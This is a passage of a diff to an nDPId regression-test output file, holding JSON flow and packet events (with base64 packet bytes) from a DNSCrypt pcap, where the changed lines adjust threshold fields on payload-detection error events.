AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":19,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":10,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739299327323,"flow_src_last_pkt_time":946739299327323,"flow_dst_last_pkt_time":946739299327323,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739299327323,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"62.210.180.71","src_port":43748,"dst_port":1053,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00227{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":20,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739299327335} +00326{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739299327335,"packet_id":20,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739299327335} 00422{"packet_event_id":1,"packet_event_name":"packet","packet_id":20,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739299327323,"pkt":"REREREREZmZmZmZmCABFAABQFy0Aub0RMeEKAAABPtK0RwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00778{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":21,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":11,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739299327384,"flow_src_last_pkt_time":946739299327384,"flow_dst_last_pkt_time":946739299327384,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739299327384,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"62.210.180.71","src_port":57395,"dst_port":1053,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02482{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_src_last_pkt_time":946739299327384,"flow_dst_last_pkt_time":946739299327384,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739299327384,"pkt":"REREREREZmZmZmZmCABFAAXcFy4gAL0RDQ0KAAABPtK0R+AzBB0GBPVqByQBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczIIaXJpc2VkZW4CZnIAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":21,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":11,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739299327384,"flow_src_last_pkt_time":946739299327384,"flow_dst_last_pkt_time":946739299327384,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739299327384,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"62.210.180.71","src_port":57395,"dst_port":1053,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00227{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":22,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739299327399} +00326{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739299327399,"packet_id":22,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739299327399} 00422{"packet_event_id":1,"packet_event_name":"packet","packet_id":22,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739299327384,"pkt":"REREREREZmZmZmZmCABFAABQFy4Aub0RMeAKAAABPtK0RwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00778{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":23,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":12,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739299327408,"flow_src_last_pkt_time":946739299327408,"flow_dst_last_pkt_time":946739299327408,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739299327408,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"62.210.180.71","src_port":53299,"dst_port":1053,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02482{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_src_last_pkt_time":946739299327408,"flow_dst_last_pkt_time":946739299327408,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739299327408,"pkt":"REREREREZmZmZmZmCABFAAXcFy8gAL0RDQwKAAABPtK0R9AzBB0GBAVtByIBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczIIaXJpc2VkZW4CZnIAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":23,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":12,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739299327408,"flow_src_last_pkt_time":946739299327408,"flow_dst_last_pkt_time":946739299327408,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739299327408,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"62.210.180.71","src_port":53299,"dst_port":1053,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00227{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":24,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739299327438} +00326{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739299327438,"packet_id":24,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739299327438} 00422{"packet_event_id":1,"packet_event_name":"packet","packet_id":24,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739299327408,"pkt":"REREREREZmZmZmZmCABFAABQFy8Aub0RMd8KAAABPtK0RwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00762{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":2,"flow_src_last_pkt_time":946739299327173,"flow_dst_last_pkt_time":946739299355250,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"thread_ts_usec":946739299355250,"pkt":"ZmZmZmZmRERERERECABFAADWguYAADURTls+0rRHCgAAAQQdxzwAwvgJByeBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANuczIIaXJpc2VkZW4CZnIAABAAAcAMABAAAQAAAAAAfXxETlNDAAEAAD603DX03HFYUGSUUMZQ5AFHqQDCbcRbndp5mF3SVu19eScXuGrpg2nLc5WDzV06y+FJw+Dah4cv34QVXrvZ7Q8nY1y4iPNLnPDmhCiX6M9Qv8kZOhpPDs+tmijF9ICJLydjXLiI80ucXop2NF6KdjRga6m0"} 00762{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":2,"flow_src_last_pkt_time":946739299327201,"flow_dst_last_pkt_time":946739299356160,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"thread_ts_usec":946739299356160,"pkt":"ZmZmZmZmRERERERECABFAADWguUAADQRT1w+0rRHCgAAAQQdzZwAwvGtByOBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANuczIIaXJpc2VkZW4CZnIAABAAAcAMABAAAQAAAAAAfXxETlNDAAEAAD603DX03HFYUGSUUMZQ5AFHqQDCbcRbndp5mF3SVu19eScXuGrpg2nLc5WDzV06y+FJw+Dah4cv34QVXrvZ7Q8nY1y4iPNLnPDmhCiX6M9Qv8kZOhpPDs+tmijF9ICJLydjXLiI80ucXop2NF6KdjRga6m0"} @@ -63,12 +63,12 @@ 00776{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":28,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":14,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304328460,"flow_src_last_pkt_time":946739304328460,"flow_dst_last_pkt_time":946739304328460,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304328460,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.134.196.55","src_port":37413,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01199{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_src_last_pkt_time":946739304328460,"flow_dst_last_pkt_time":946739304328460,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739304328460,"pkt":"REREREREZmZmZmZmCABFAAIcHPpAAL0RYFwKAAABuYbEN5IlIPsCCECUfx8BAAABAAAAAAABATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00881{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":28,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":14,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304328460,"flow_src_last_pkt_time":946739304328460,"flow_dst_last_pkt_time":946739304328460,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304328460,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.134.196.55","src_port":37413,"dst_port":8443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00227{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":29,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739304328481} +00326{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739304328481,"packet_id":29,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739304328481} 00422{"packet_event_id":1,"packet_event_name":"packet","packet_id":29,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739304328460,"pkt":"REREREREZmZmZmZmCABFAABQHPkAub0RoXAKAAABuYbENwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":30,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":15,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304328494,"flow_src_last_pkt_time":946739304328494,"flow_dst_last_pkt_time":946739304328494,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304328494,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.134.196.55","src_port":35005,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02482{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_src_last_pkt_time":946739304328494,"flow_dst_last_pkt_time":946739304328494,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739304328494,"pkt":"REREREREZmZmZmZmCABFAAXcHPsgAL0RfJsKAAABuYbEN4i9IPsGBFEJfxwBAAABAAAAAAABATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA